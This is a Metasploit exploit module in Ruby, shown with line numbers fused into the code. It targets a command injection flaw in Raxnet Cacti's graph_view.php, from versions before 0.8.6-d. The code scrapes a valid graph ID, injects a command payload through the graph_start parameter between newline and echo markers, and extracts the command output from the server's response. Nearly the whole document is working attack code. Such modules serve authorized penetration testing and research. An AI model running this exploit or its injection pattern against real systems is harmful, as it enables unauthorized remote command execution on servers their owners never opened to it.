Path: blob/master/modules/exploits/unix/webapp/cacti_graphimage_exec.rb
24841 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Cacti graph_view.php Remote Command Execution',16'Description' => %q{17This module exploits an arbitrary command execution vulnerability in the18Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to190.8.6-d are vulnerable.20},21'Author' => [ 'David Maciejak <david.maciejak[at]kyxar.fr>', 'hdm' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2005-10004' ],25[ 'OSVDB', '17539' ],26[ 'BID', '14042' ],27],28'Privileged' => false,29'Payload' => {30'DisableNops' => true,31'Space' => 512,32'Compat' =>33{34'PayloadType' => 'cmd',35'RequiredCmd' => 'generic perl ruby python telnet',36}37},38'Platform' => 'unix',39'Arch' => ARCH_CMD,40'Targets' => [[ 'Automatic', {}]],41'DisclosureDate' => '2005-01-15',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options(52[53OptString.new('URI', [true, "The full URI path to graph_view.php", "/cacti/graph_view.php"]),54]55)56end5758def exploit59# Obtain a valid image ID60res = send_request_cgi({61'uri' => normalize_uri(datastore['URI']),62'vars_get' =>63{64'action' => 'list'65}66}, 10)6768if (not res)69print_error("The server gave no response")70return71end7273m = res.body.match(/local_graph_id=(.*?)&/)74if (not m)75print_error("Could not locate a valid image ID")76return77end7879# Trigger the command execution bug80res = send_request_cgi({81'uri' => normalize_uri(datastore['URI']),82'vars_get' =>83{84'local_graph_id' => m[1],85'graph_start' => "\necho YYY;#{payload.encoded};echo YYY;echo\n"86}87}, 25)8889if (res)90print_status("The server returned: #{res.code} #{res.message}")91print("")9293m = res.body.match(/YYY(.*)YYY/)9495if (m)96print_status("Command output from the server:")97print(m[1])98else99print_status("This server may not be vulnerable")100end101102else103print_status("No response from the server")104end105end106end107108109